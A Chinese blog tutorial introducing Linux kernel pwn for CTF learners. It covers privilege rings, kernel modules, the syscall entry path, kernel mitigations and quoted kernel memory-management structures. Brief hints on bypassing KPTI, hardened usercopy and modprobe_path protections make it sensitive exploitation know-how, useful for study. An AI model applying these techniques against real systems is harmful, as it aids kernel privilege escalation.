深入理解Pwn_Kernel基础篇

韩乔落

前言

原《深入理解Pwn_Kernel及其相关例题》编辑起来太卡了。这里把基础部分分在这里。

附件地址

最近重新跟着老师学了一遍Linux内核安全,所以从博客里翻出来这个古老的文章做一些翻新和添油加醋,但内容依然有很多不足,文章结构也比较混乱,后续会进行改进。这里做的是 Linux Kernel pwn 一些利用手法的记录,后面如果学到 Windows kernel pwn会另开一个篇章。篇幅有限,后面一些内容再做补充。本文内容适合入门学习。还有一些内容有时间再写……

深入理解Pwn_heap及相关赛题

深入理解Pwn_IO_FILE及相关赛题

主要参考:

ctf-wiki

基础知识

推荐一个适合学习linux kernel开源项目linux_kernel_wiki。这部分的基础知识是很简单的介绍,后门会对内核相关的基础知识新开篇章进行略详细的学习。

kernel config search

内核简介

通常来说我们可以把内核架构分为两种:宏内核和微内核,此外还有混合内核,外内核。kernel 也是一个程序,用来管理软件发出的数据 I/O 要求,将这些要求转义为指令,交给 CPU 和计算机中的其他组件处理,kernel 是现代操作系统最基本的部分。

kernel 最主要的功能有两点:

  • 控制并与硬件进行交互
  • 提供 application 能运行的环境

包括 I/O,权限控制,系统调用,进程管理,内存管理等多项功能都可以归结到上边两点中。需要注意的是,kernelcrash 通常会引起重启。linux内核采用的是单内核结构,效率高,但是体积大。Linux 内核包含系统调用接口,进程管理,内存管理,文件系统,网络管理,设备驱动。

kernel_cap

Ring Model

intel CPUCPU 的特权级别分为 4 个级别:Ring0, Ring1, Ring2, Ring3。大多数的现代操作系统只使用 Ring0Ring3

  • 内核空间运行在 Ring0 特权等级,拥有自己的空间,位于内存的高地址。
  • 用户空间则是我们平时应用程序运行的空间,运行在 Ring3 特权等级,使用较低地址。
  • Ring0 只给 OS 使用,Ring3 所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。

RingModel

Loadable Kernel Modules(LKMs)

概述

可加载核心模块 (或直接称为内核模块) 就像运行在内核空间的可执行程序,LKMs 的文件格式和用户态的可执行程序(ELF)相同。包括:

  • 驱动程序(Device drivers)
    • 设备驱动
    • 文件系统驱动
  • 内核扩展模块 (modules)

模块可以被单独编译,但不能单独运行。它在运行时被链接到内核作为内核的一部分在内核空间运行,这与运行在用户控件的进程不同。模块通常用来实现一种文件系统、一个驱动程序或者其他内核上层的功能。Linux 内核之所以提供模块机制,是因为它本身是一个单内核 (monolithic kernel)。单内核的优点是效率高,因为所有的内容都集合在一起,但缺点是可扩展性和可维护性相对较差,模块机制就是为了弥补这一缺陷。

相关指令

  • insmod: 讲指定模块加载到内核中
  • rmmod: 从内核中卸载指定模块
  • lsmod: 列出已经加载的模块
  • modprobe: 添加或删除模块,modprobe 在加载模块时会查找依赖关系

大多数CTF中的 kernel vulnerability 也出现在 LKM 中。

用户态->内核态

切换条件

当发生 系统调用,产生异常,外设产生中断等事件时,会发生用户态到内核态的切换。

  • 系统调用(软中断):

系统调用,指的是用户空间的程序向操作系统内核请求需要更高权限的服务,比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口,部分库函数(如 scanf,puts 等 IO 相关的函数实际上是对系统调用的封装(read 和 write))。

64bit 系统调用编号
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep __NR_
32bit 系统调用编号
cat /usr/include/asm/unistd_32.h | grep __NR_

  • 外设中断(硬中断):当外围设备完成用户的请求操作后,会像CPU发出中断信号,此时,CPU就会暂停执行下一条即将要执行的指令,转而去执行中断信号对应的处理程序,如果先前执行的指令是在用户态下,则自然就发生从用户态到内核态的转换。
  • 异常:当CPU正在执行运行在用户态的程序时,突然发生某些预先不可知的异常事件,这个时候就会触发从当前用户态执行的进程转向内核态执行相关的异常事件,最典型的就是缺页异常。

具体过程:

  1. 通过 swapgs 切换 GS 段寄存器,在中断或异常处理的entry代码处, 会执行SWAPGS切换到kernel GS, GS.base 是存储了中断stack 的地址。将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
  2. 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。
  3. 通过 push 保存各寄存器值,具体的 代码 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ENTRY(entry_SYSCALL_64)
/* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
SWAPGS_UNSAFE_STACK

/* 保存栈值,并设置内核栈 */
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp


/* 通过push保存寄存器值,形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx tuichu /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
  1. 通过汇编指令判断是否为 x32_abi
  2. 通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。

总结:

[1] 从当前进程的描述符中提取其内核栈的ss0esp0信息。

[2] 使用ss0esp0指向的内核栈将当前进程的cs,eip,eflags,ss,esp信息保存起来,这个过程也完成了由用户栈到内核栈的切换过程,同时保存了被暂停执行的程序的下一条指令。

[3] 将先前由中断向量检索得到的中断处理程序的cs,eip信息装入相应的寄存器,开始执行中断处理程序,这时就转到了内核态的程序执行了。

内核态->用户态

x86_64

  • 通过 swapgs 恢复 GS
  • 通过 sysretq 或者 iretq (中断返回指令)恢复到用户空间继续执行。如果使用 iretq 还需要通过堆栈给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等),即 trap_frame
1
2
3
4
5
6
7
struct trap_frame {
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
} __attribute__((packed));
  • 对于开启了 KPTI(内核页表隔离),我们不能像之前那样直接 swapgs; iret 返回用户态,而是在返回用户态之前还需要将用户进程的页表给切换回来。

ARM/ARM64

可以利用ret_to_user函数的gadget来进行返回。

内核态函数

相比用户态库函数,内核态的函数有了一些变化:

  1. printf()变更为printk(),但需要注意的是printk()不一定会把内容显示到终端上,但一定在内核缓冲区里,可以通过 dmesg 查看效果。
  2. memcpy()变更为copy_from_user()/copy_to_user()
    • copy_from_user() 实现了将用户空间的数据传送到内核空间。
    • copy_to_user() 实现了将内核空间的数据传送到用户空间。
  3. malloc()变更为kmalloc(),内核态的内存分配函数,和malloc()相似,但使用的是 slab/slub/slob 分配器,多为slub
  4. free()变更为kfree(),同 kmalloc()

内核保护

这里贴一个github项目和两个大佬文章,一个另一个。内核栈和内核堆的相关保护会在将栈和堆时介绍。

空间相关

  • **smep**:

    Supervisor Mode Execution Protection(管理模式执行保护),当处理器处于 ring 0 模式,执行用户空间的代码会触发页错误。(在 arm 中该保护称为 PXN)

  • **smap**:

    Superivisor Mode Access Protection(管理模式访问保护),类似于 smep,当处理器处于 ring 0 模式,访问用户空间的数据会触发页错误。(在 arm 中该保护称为 PAN)

  • **KPTI**:

    kernel page-table isolation,内核页表隔离,进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI通过完全分离用户空间与内核空间页表来解决页表泄露。一旦开启了KPTI,由于内核态和用户态的页表不同,所以如果使用 ret2user或内核执行ROP返回用户态时,由于内核态无法确定用户态的页表,就会报出一个段错误。可以利用内核现有的gadget将 cr30x1000 异或(第13位置0)来完成从用户态PGD转换成内核态PGD。

  • CONFIG_CFI_CLANG=y:

    Control Flow Integrity,即控制流完整性,传统ROP基本宣告死亡。

  • Hardened Usercopy

    hardened usercopy 是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制,主要检查拷贝过程中对内核空间中数据的读写是否会越界

    • 读取的数据长度是否超出源 object 范围
    • 写入的数据长度是否超出目的 object 范围

    不过这种保护 不适用于内核空间内的数据拷贝 ,这也是目前主流的绕过手段

    这一保护被用于 copy_to_user()copy_from_user() 等数据交换 API 中。

地址相关

  • **MMAP_MIN_ADDR**:

    内核空间和用户空间共享虚拟内存地址,因此需要防止用户空间 mmap 的内存从 0 开始,从而缓解空指针引用攻击。控制着mmap能够映射的最低内存地址,防止用户非法分配并访问低地址数据。不允许申请NULL地址 mmap(0,....)

  • **KASLR**:

    Kernel Address Space Layout Randomization(内核地址空间布局随机化),开启后,允许kernel image加载到VMALLOC区域的任何位置。在未开启KASLR保护机制时,内核代码段的基址为 0xffffffff81000000direct mapping area 的基址为 0xffff888000000000

  • **FG-KASLR**:

    Function Granular Kernel Address Space Layout Randomization细粒度的 kaslr,函数级别上的 KASLR 优化。该保护只是在代码段打乱顺序,在数据段偏移不变,例如 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。

信息相关

  • **Dmesg Restrictions**:

    通过设置/proc/sys/kernel/dmesg_restrict为1, 可以将dmesg输出的信息视为敏感信息(默认为0)

  • **Kernel Address Display Restriction**:

    内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。

    • kptr_restrict == 2 :内核将符号地址打印为全 0 , root 和普通用户都没有权限.
    • kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限.
    • kptr_restrict == 0 : root 和普通用户都可以读取.

    /proc/kallsyms的内容需要root权限才能查看,如果以非root用户权限查看将显示地址为0kallsyms 抽取了内核用到的所有函数地址(全局的,静态的)和非栈数据变量地址,生成一个数据块,作为只读数据链接进 kernel image 。要在内核中启用 kallsyms 功能,须设置 CONFIG_KALLSYMS 选项为 y ,如果要在 kallsyms 中包含全部符号信息,须设置 CONFIG_KALLSYMS_ALLykallsyms 表位于 /proc/kallsymskernel 中的 mod_tree 处存放着各个模块加载的地址。

数据相关

  • **HARDENED_USERCOPY**:

    hardened usercopy 是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制,主要检查拷贝过程中对内核空间中数据的读写是否会越界,读取的数据长度是否超出源 object 范围,写入的数据长度是否超出目的 object 范围。不过这种保护不适用于内核空间内的数据拷贝 ,这也是目前主流的绕过手段这一保护被用于在使用 copy_to_user()copy_from_user() 等数据交换 API 时用 __check_object_size 检查是否越界。

  • **STATIC_USERMODEHELPER**:

    禁掉了对于 modprobe_pathcore_pattern 的利用(只读区域)。

Linux 内核内存管理

详细的 Linux 内核内存管理后续会专门新续一篇文,下文只是简述一下。

物理内存

参考链接 参考链接

page

Linux 内核内存管理的实现以 page 数据结构为核心,其他的内存管理设施都基于 page 数据结构,如 VMA 管理、缺页中断、RMAP、页面分配与回收等。page 数据结构定义在 include/linux/mm_types.h 头文件中,大量使用了 C 语言的联合体(union)来优化其数据结构的大小,因为每个物理页面都需要一个 page 数据结构来跟踪和管理这些物理页面的使用情况,所以管理成本很高。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
struct page {
// 第一部分,标志位
/* 页面的标志位集合 */
unsigned long flags;

// 第二部分,40字节的联合体
union {
// 管理匿名页面/文件映射页面
struct {
/* LRU 链表节点,匿名页面或文件映射页面会通过该成员添加到 LRU 链表中 */
struct list_head lru;
/* 表示页面所指向的地址空间 */
struct address_space *mapping;
/* 表示这个页面在一个映射中的序号或偏移量 */
pgoff_t index;
/* 指向私有数据的指针 */
unsigned long private;
};
// 管理 slab/slob/slub 分配器
struct {
union {
struct list_head slab_list;
struct {
/* 在 slub 分配器中使用 */
struct page *next;
int pages;
int pobjects;
};
};
/* slab 缓存描述符,slab 分配器中的第一个物理页面的 page 数据结构中的 slab cache 指向 slab 缓存描述符 */
struct kmem_cache *slab_cache;
/* 管理区。管理区可以看作一个数组,数组的每个成员占用 1 字节,每个成员代表一个 slab 对象 */
void *freelist;
union {
/* 在 slab 分配器中用来指向第一个 slab 对象的起始地址 */
void *s_mem;
unsigned long counters;
struct {
unsigned inuse:16;
unsigned objects:15;
unsigned frozen:1;
};
};
};
struct {
unsigned long compound_head;
unsigned char compound_dtor;
unsigned char compound_order;
atomic_t compound_mapcount;
};
struct {
unsigned long _compound_pad_1;
unsigned long _compound_pad_2;
struct list_head deferred_list;
};
// 管理页表
struct {
unsigned long _pt_pad_1;
pgtable_t pmd_huge_pte;
unsigned long _pt_pad_2;
union {
struct mm_struct *pt_mm;
atomic_t pt_frag_refcount;
};
/* 用于保护页表操作的自旋锁,通常在更新页表时候需要这个锁以进行保护 */
spinlock_t ptl;
};
// 管理 ZONE_DEVICE 页面
struct {
struct dev_pagemap *pgmap;
unsigned long hmm_data;
unsigned long _zd_pad_1;
};
/* RCU 锁,在 slab 分配器中释放slab 的物理页面 */
struct rcu_head rcu_head;
};
// 第三部分,4字节的联合体,管理 _mapcount 等
union {
/* 用于统计 _mapcount */
atomic_t _mapcount;
unsigned int page_type;
/*
* 表示slab分配器中活跃对象的数量。当为0时,表示这个slab分配器中没有活跃对象,可以销毁这个slab分配器。
* 活跃对象就是已经被迁移到对象缓冲池中的对象
*/
unsigned int active;
int units;
};
// 第四部分,_refcount 引用计数
atomic_t _refcount;
} _struct_page_alignment;

page 中的重要字段

flags

flags 成员是页面的标志位集合,标志位是内存管理中非常重要的部分,具体定义在 include/linux/page-flags.h 文件中,重要的标志位如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
enum pageflags {
/* 表示页面已经上锁了。如果该位置位,说明页面已经上锁,内存管理的其他模块不能访问这个页面,以防发生竞争 */
PG_locked, /* Page is locked. Don't touch. */
/* 用于控制页面的活跃程度,在 kswapd 页面回收中使用 */
PG_referenced,
/* 表示页面的数据已经从块设备成功读取。 */
PG_uptodate,
/* 表示页面内容发生改变,这个页面为脏页,即页面的内容被改写后还没有和外部存储器进行过同步操作 */
PG_dirty,
/* 表示页面在LRU链表中。LRU链表指最近最少使用(Least Recently Used)链表。内核使用LRU链表来管理活跃和不活跃页面 */
PG_lru,
/* 用于控制页面的活跃程度,在 kswapd 页面回收中使用。 */
PG_active,
PG_workingset,
/* 表示有进程在等待这个页面。 */
PG_waiters,
/* 表示页面操作过程中发生I/O错误时会设置该位。 */
PG_error,
/* 表示页面用于 slab 分配器。 */
PG_slab,
PG_owner_priv_1, /* Owner use. If pagecache, fs may use*/
PG_arch_1,
PG_reserved,
PG_private, /* If pagecache, has fs-private data */
PG_private_2, /* If pagecache, has fs aux data */
/* 表示页面的内容正在向块设备回写。 */
PG_writeback, /* Page is under writeback */
PG_head, /* A head page */
PG_mappedtodisk, /* Has blocks allocated on-disk */
/* 表示这个页面马上要被回收。 */
PG_reclaim, /* To be reclaimed asap */
/* 表示页面具有 swap 缓存功能,通常匿名页面才可以写回交换分区。 */
PG_swapbacked, /* Page is backed by RAM/swap */
/* 表示页面不可被回收。 */
PG_unevictable, /* Page is "unevictable" */
#ifdef CONFIG_MMU
/* 表示页面对应的 VMA 处于 mlocked 状态。 */
PG_mlocked, /* Page is vma mlocked */
#endif
#ifdef CONFIG_ARCH_USES_PG_UNCACHED
PG_uncached, /* Page has been mapped as uncached */
#endif
#ifdef CONFIG_MEMORY_FAILURE
PG_hwpoison, /* hardware poisoned page. Don't touch */
#endif
#if defined(CONFIG_IDLE_PAGE_TRACKING) && defined(CONFIG_64BIT)
PG_young,
PG_idle,
#endif
__NR_PAGEFLAGS,

/* Filesystems */
PG_checked = PG_owner_priv_1,
/* 表示页面处于交换缓存中。 */
PG_swapcache = PG_owner_priv_1, /* Swap page: swp_entry_t in private */

/* Two page bits are conscripted by FS-Cache to maintain local caching
* state. These bits are set on pages belonging to the netfs's inodes
* when those inodes are being locally cached.
*/
PG_fscache = PG_private_2, /* page backed by cache */

/* XEN */
/* Pinned in Xen as a read-only pagetable page. */
PG_pinned = PG_owner_priv_1,
/* Pinned as part of domain save (see xen_mm_pin_all()). */
PG_savepinned = PG_dirty,
/* Has a grant mapping of another (foreign) domain's page. */
PG_foreign = PG_owner_priv_1,

/* SLOB */
PG_slob_free = PG_private,

/* Compound pages. Stored in first tail page's flags */
PG_double_map = PG_private_2,

/* non-lru isolated movable page */
PG_isolated = PG_reclaim,
};

内核定义了一些宏,用于检查页面是否设置了某个特定的标志位或者用于操作某些标志位。这些宏的名称都有一定的模式,具体如下

  • PageXXX()用于检查页面是否设置了 PG_XXX 标志位,如 PageLRU() 检查PG_lru 标志位是否置位了,PageDirty() 检查 PG_dirty 是否置位了。
  • SetPageXX() 设置页面中的 PG_XXX 标志位,如 SetPageLRU() 用于设置 PG_lru ,SetPageDirty() 用于设置 PG_dirty 标志位。
  • ClearPageXXX() 用于无条件地清除某个特定的标志位。
mapping

mapping 成员表示页面所指向的地址空间。内核中的地址空间通常有两个不同的地址空间:

  • 一个用于文件映射页面,如在读取文件时,地址空间用于将文件的内容数据与装载数据的存储介质区关联起来;
  • 另一个用于匿名映射。

内核使用一个简单直接的方式实现了“一个指针,两种用途”,mapping 成员的最低两位用于判断是否指向匿名映射或 KSM 页面的地址空间。如果指向匿名页面,那么 mapping 成员指向匿名页面的地址空间数据结构 anon_vma

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#define PAGE_MAPPING_ANON	0x1
#define PAGE_MAPPING_MOVABLE 0x2
#define PAGE_MAPPING_KSM (PAGE_MAPPING_ANON | PAGE_MAPPING_MOVABLE)
#define PAGE_MAPPING_FLAGS (PAGE_MAPPING_ANON | PAGE_MAPPING_MOVABLE)

static __always_inline int PageMappingFlags(struct page *page)
{
return ((unsigned long)page->mapping & PAGE_MAPPING_FLAGS) != 0;
}

static __always_inline int PageAnon(struct page *page)
{
page = compound_head(page);
return ((unsigned long)page->mapping & PAGE_MAPPING_ANON) != 0;
}

static __always_inline int __PageMovable(struct page *page)
{
return ((unsigned long)page->mapping & PAGE_MAPPING_FLAGS) ==
PAGE_MAPPING_MOVABLE;
}
_refcount

_refcount 表示内核中引用该页面的次数。

  • _refcount 的值为 0 时,表示该页面为空闲页面或即将要被释放的页面。
  • _refcount 的值大于 0 时,表示该页面已经被分配且内核正在使用,暂时不会被释放。

内核中提供加/减 _refcount 的接口函数,读者应该使用这些接口函数来使用 _refcount 引用计数。

  • get_page(): _refcount 加 1 。
  • put_page(): _refcount 减 1 。若 _refcount 减 1 后等于 0 ,那么会释放该页面。

这两个接口函数实现在 include/linux/mm.h 文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* 函数调用 page ref_inc() 来增加引用计数,最后使用 atomic_inc() 函数原子地增加引用计数。 */
static inline void get_page(struct page *page)
{
page = compound_head(page);
/*
* Getting a normal page or the head of a compound page
* requires to already have an elevated page->_refcount.
*/
VM_BUG_ON_PAGE(page_ref_count(page) <= 0, page);
page_ref_inc(page);
}

static inline void put_page(struct page *page)
{
page = compound_head(page);

/*
* For devmap managed pages we need to catch refcount transition from
* 2 to 1, when refcount reach one it means the page is free and we
* need to inform the device driver through callback. See
* include/linux/memremap.h and HMM for details.
*/
if (put_devmap_managed_page(page))
return;
/*
* 首先使用 put_page_testzero() 函数来使 _refcount 减 1 并且判断其是否为 0 。
* 如果 _refcount 减 1 之后等于 0 ,就会调用 _put_page() 来释放这个页面。
*/
if (put_page_testzero(page))
__put_page(page);
}
_mapcount

_mapcount 表示这个页面被进程映射的个数,即已经映射了多少个用户 PTE 。
每个用户进程都拥有各自独立的虚拟空间(256TB)和一份独立的页表,所以可能出现多个用户进程地址空间同时映射到一个物理页面的情况,RMAP 系统就是利用这个特性来实现的。_mapcount 主要用于RMAP系统中。

  • _mapcount 等于 -1 ,表示没有 PTE 映射到页面。
  • _mapcount 等于 0 ,表示只有父进程映射到页面。
    匿名页面刚分配时, _mapcount 初始化为 0 。例如,当 do_anonymous_page() 产生的匿名页面通过 page_add_new_anon_rmap() 添加到 rmap 系统中时,会设置 _mapcount 为 0 ,这表明匿名页面当前只有父进程的 PTE 映射到页面。
  • _mapcount 大于 0 ,表示除了父进程外还有其他进程映射到这个页面。同样以创建子进程时共享父进程地址空间为例,设置父进程的 PTE 内容到子进程中并增加该页面的 _mapcount

linux 内核通过 page_dup_rmap 函数修改 _mapcount

1
2
3
4
static inline void page_dup_rmap(struct page *page, bool compound)
{
atomic_inc(compound ? compound_mapcount_ptr(page) : &page->_mapcount);
}
PG_Locked

page 数据结构中的成员 flags 定义了一个标志位 PG_locked ,内核通常利用 PG_locked 来设置一个页锁。lock _page() 函数用于申请页锁,如果页锁被其他进程占用了,那么它会睡眠等待。
lock _page() 函数的声明和实现如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static inline void lock_page(struct page *page)
{
might_sleep();
if (!trylock_page(page))
__lock_page(page);
}

static inline int trylock_page(struct page *page)
{
page = compound_head(page);
/* 使用 test_and_set_bit_lock() 尝试为 page 的 flags 设置 PG_locked 标志位,并且返回原来标志位的值 */
return (likely(!test_and_set_bit_lock(PG_locked, &page->flags)));
}

void __lock_page(struct page *__page)
{
struct page *page = compound_head(__page);
wait_queue_head_t *q = page_waitqueue(page);
/* 当 trylock_page() 无法获取锁时,当前进程会调用wait_on_page_bit_common()函数让其在等待队列中睡眠、等待这个锁。*/
wait_on_page_bit_common(q, page, PG_locked, TASK_UNINTERRUPTIBLE,
EXCLUSIVE);
}

zone

在 Linux 下将一个节点内不同用途的内存区域划分为不同的区(zone),对应结构体 struct zone,该结构体定义于 /include/linux/mmzone.h 中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
struct zone {
/* Read-mostly fields */

/* zone watermarks, access with *_wmark_pages(zone) macros */
/*
* 每个 zone 在系统启动时会计算出 3 个水位,
* 分别是最低警戒水位(WMARK_MIN)、低水位(WMARK_LOW)和高水位(WMARK_HIGH),
* 这在页面分配器和kswapd 页面回收中会用到。
*/
unsigned long _watermark[NR_WMARK];
unsigned long watermark_boost;

unsigned long nr_reserved_highatomic;

/*
* We don't know if the memory that we're going to allocate will be
* freeable or/and it will be released eventually, so to avoid totally
* wasting several GB of ram we must reserve some of the lower zone
* memory (otherwise we risk to run OOM on the lower zones despite
* there being tons of freeable ram on the higher zones). This array is
* recalculated at runtime if the sysctl_lowmem_reserve_ratio sysctl
* changes.
*/
/* 防止页面分配器过度使用低端 zone 的内存。 */
long lowmem_reserve[MAX_NR_ZONES];

#ifdef CONFIG_NUMA
/* NUMA 中标识所属 node */
int node;
#endif
/* 指向内存节点。 */
struct pglist_data *zone_pgdat;
/* 用于维护每个CPU上的一系列页面,以减少自旋锁的争用。 */
struct per_cpu_pageset __percpu *pageset;

#ifndef CONFIG_SPARSEMEM
/*
* Flags for a pageblock_nr_pages block. See pageblock-flags.h.
* In SPARSEMEM, this map is stored in struct mem_section
*/
unsigned long *pageblock_flags;
#endif /* CONFIG_SPARSEMEM */

/* zone_start_pfn == zone_start_paddr >> PAGE_SHIFT */
/* 起始页帧号。 */
unsigned long zone_start_pfn;

/*
* spanned_pages is the total pages spanned by the zone, including
* holes, which is calculated as:
* spanned_pages = zone_end_pfn - zone_start_pfn;
*
* present_pages is physical pages existing within the zone, which
* is calculated as:
* present_pages = spanned_pages - absent_pages(pages in holes);
*
* managed_pages is present pages managed by the buddy system, which
* is calculated as (reserved_pages includes pages allocated by the
* bootmem allocator):
* managed_pages = present_pages - reserved_pages;
*
* So present_pages may be used by memory hotplug or memory power
* management logic to figure out unmanaged pages by checking
* (present_pages - managed_pages). And managed_pages should be used
* by page allocator and vm scanner to calculate all kinds of watermarks
* and thresholds.
*
* Locking rules:
*
* zone_start_pfn and spanned_pages are protected by span_seqlock.
* It is a seqlock because it has to be read outside of zone->lock,
* and it is done in the main allocator path. But, it is written
* quite infrequently.
*
* The span_seq lock is declared along with zone->lock because it is
* frequently read in proximity to zone->lock. It's good to
* give them a chance of being in the same cacheline.
*
* Write access to present_pages at runtime should be protected by
* mem_hotplug_begin/end(). Any reader who can't tolerant drift of
* present_pages should get_online_mems() to get a stable value.
*/
/* zone 中被伙伴系统管理的页面数量。 */
atomic_long_t managed_pages;
/* zone 包含的页面数量。 */
unsigned long spanned_pages;
/* zone 里实际管理的页面数量。对于一些架构来说,其值和 spanned _pages 的值相等。 */
unsigned long present_pages;

const char *name;

#ifdef CONFIG_MEMORY_ISOLATION
/*
* Number of isolated pageblock. It is used to solve incorrect
* freepage counting problem due to racy retrieving migratetype
* of pageblock. Protected by zone->lock.
*/
unsigned long nr_isolate_pageblock;
#endif

#ifdef CONFIG_MEMORY_HOTPLUG
/* see spanned/present_pages for more description */
seqlock_t span_seqlock;
#endif

int initialized;

/* Write-intensive fields used from the page allocator */
ZONE_PADDING(_pad1_)

/* free areas of different sizes */
/* 伙伴系统的核心数据结构,管理空闲页块(page block)链表的数组。 */
struct free_area free_area[MAX_ORDER];

/* zone flags, see below */
unsigned long flags;

/* Primarily protects free_area */
/* 并行访问时用于保护 zone 的自旋锁。 */
spinlock_t lock;

/* Write-intensive fields used by compaction and vmstats. */
ZONE_PADDING(_pad2_)

/*
* When free pages are below this point, additional steps are taken
* when reading the number of free pages to avoid per-cpu counter
* drift allowing watermarks to be breached
*/
unsigned long percpu_drift_mark;

#if defined CONFIG_COMPACTION || defined CONFIG_CMA
/* pfn where compaction free scanner should start */
unsigned long compact_cached_free_pfn;
/* pfn where async and sync compaction migration scanner should start */
unsigned long compact_cached_migrate_pfn[2];
#endif

#ifdef CONFIG_COMPACTION
/*
* On compaction failure, 1<<compact_defer_shift compactions
* are skipped before trying again. The number attempted since
* last failure is tracked with compact_considered.
*/
unsigned int compact_considered;
unsigned int compact_defer_shift;
int compact_order_failed;
#endif

#if defined CONFIG_COMPACTION || defined CONFIG_CMA
/* Set to true when the PG_migrate_skip bits should be cleared */
bool compact_blockskip_flush;
#endif

bool contiguous;

ZONE_PADDING(_pad3_)
/* Zone statistics */
atomic_long_t vm_stat[NR_VM_ZONE_STAT_ITEMS];
atomic_long_t vm_numa_stat[NR_VM_NUMA_STAT_ITEMS];
} ____cacheline_internodealigned_in_smp;

zone 经常会被访问到,因此这个数据结构要求以 L1 高速缓存对齐。另外,这里的 ZONE PADDING()zone->lockzone->lru_lock 这两个很热门的锁可以分布在不同的高速缓存行中。一个内存节点最多有几个 zone ,因此 zone 数据结构不需要像 page 一样关注数据结构的大小,ZONE_PADDING() 可以为了性能而浪费空间。在内存管理开发过程中,内核开发者逐步发现有一些自旋锁会竞争得非常厉害,很难获取。在稍微早期的Linux内核(如Linux4.0)中,zone->lockzone->lru_lock 这两个锁有时需要同时获取,因此保证它们使用不同的高速缓存行是内核常用的一种优化技巧。然而,在Linux 5.0内核中,zone->lru_lock 已经转移到内存节点的 pglist_data 数据结构中。


通常情况下,内核的 zone 分为 ZONE_DMAZONE_DMA32ZONE NORMALZONE_HIGHMEMzone 类型定义在 include/linux/mmzone.h 文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
enum zone_type {
#ifdef CONFIG_ZONE_DMA
/*
* ZONE_DMA is used when there are devices that are not able
* to do DMA to all of addressable memory (ZONE_NORMAL). Then we
* carve out the portion of memory that is needed for these devices.
* The range is arch specific.
*
* Some examples
*
* Architecture Limit
* ---------------------------
* parisc, ia64, sparc <4G
* s390, powerpc <2G
* arm Various
* alpha Unlimited or 0-16MB.
*
* i386, x86_64 and multiple other arches
* <16M.
*/
ZONE_DMA,
#endif
#ifdef CONFIG_ZONE_DMA32
/*
* x86_64 needs two ZONE_DMAs because it supports devices that are
* only able to do DMA to the lower 16M but also 32 bit devices that
* can only do DMA areas below 4G.
*/
ZONE_DMA32,
#endif
/*
* Normal addressable memory is in ZONE_NORMAL. DMA operations can be
* performed on pages in ZONE_NORMAL if the DMA devices support
* transfers to all addressable memory.
*/
ZONE_NORMAL,
#ifdef CONFIG_HIGHMEM
/*
* A memory area that is only addressable by the kernel through
* mapping portions into its own address space. This is for example
* used by i386 to allow the kernel to address the memory beyond
* 900MB. The kernel will set up special mappings (page
* table entries on i386) for each page that the kernel needs to
* access.
*/
ZONE_HIGHMEM,
#endif
ZONE_MOVABLE,
#ifdef CONFIG_ZONE_DEVICE
ZONE_DEVICE,
#endif
__MAX_NR_ZONES

};
